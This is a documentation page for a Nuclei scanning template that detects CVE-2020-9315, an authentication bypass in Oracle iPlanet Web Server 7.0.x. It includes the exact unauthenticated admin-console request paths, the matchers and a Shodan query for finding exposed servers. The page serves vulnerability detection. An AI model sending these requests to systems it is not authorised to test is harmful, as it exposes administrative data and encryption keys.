Skip to content
Nuclei Templates

Oracle iPlanet Web Server 7.0.x - Authentication Bypass

ID: CVE-2020-9315

Severity: high

Author: dhiyaneshDk

Tags: cve,cve2020,oracle,auth-bypass,iplanet

Description

Section titled “Description”

Oracle iPlanet Web Server 7.0.x has incorrect access control for admingui/version URIs in the Administration console, as demonstrated by unauthenticated read access to encryption keys. NOTE a related support policy can be found in the www.oracle.com references attached to this CVE.

YAML Source

Section titled “YAML Source”
id: CVE-2020-9315


info:
  name: Oracle iPlanet Web Server 7.0.x - Authentication Bypass
  author: dhiyaneshDk
  severity: high
  description: |
    Oracle iPlanet Web Server 7.0.x has incorrect access control for admingui/version URIs in the Administration console, as demonstrated by unauthenticated read access to encryption keys. NOTE a related support policy can be found in the www.oracle.com references attached to this CVE.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
  reference:
    - https://www.cvebase.com/cve/2020/9315
    - https://www.oracle.com/support/lifetime-support/
    - https://www.oracle.com/us/assets/lifetime-support-middleware-069163.pdf
    - https://wwws.nightwatchcybersecurity.com/2020/05/10/two-vulnerabilities-in-oracles-iplanet-web-server-cve-2020-9315-and-cve-2020-9314/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9315
    cwe-id: CWE-306
    epss-score: 0.97337
    epss-percentile: 0.9988
    cpe: cpe:2.3:a:oracle:iplanet_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: iplanet_web_server
    shodan-query: cpe:"cpe:2.3:a:oracle:iplanet_web_server"
  tags: cve,cve2020,oracle,auth-bypass,iplanet


http:
  - method: GET
    path:
      - "{{BaseURL}}/admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2"
      - "{{BaseURL}}/admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Admin Console"


      - type: word
        words:
          - "serverConfigurationsGeneral"
          - "serverCertificatesGeneral"
        condition: or


      - type: status
        status:
          - 200
# digest: 490a00463044022040e752d0fede9efede6fa35bf640c5a5547e6de014205183e7511418e816341302201238777b60747dad6a4d7c044c2c2d6af80977ad5b12fcd2503959d4e24b34c8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-9315.yaml"

View on Github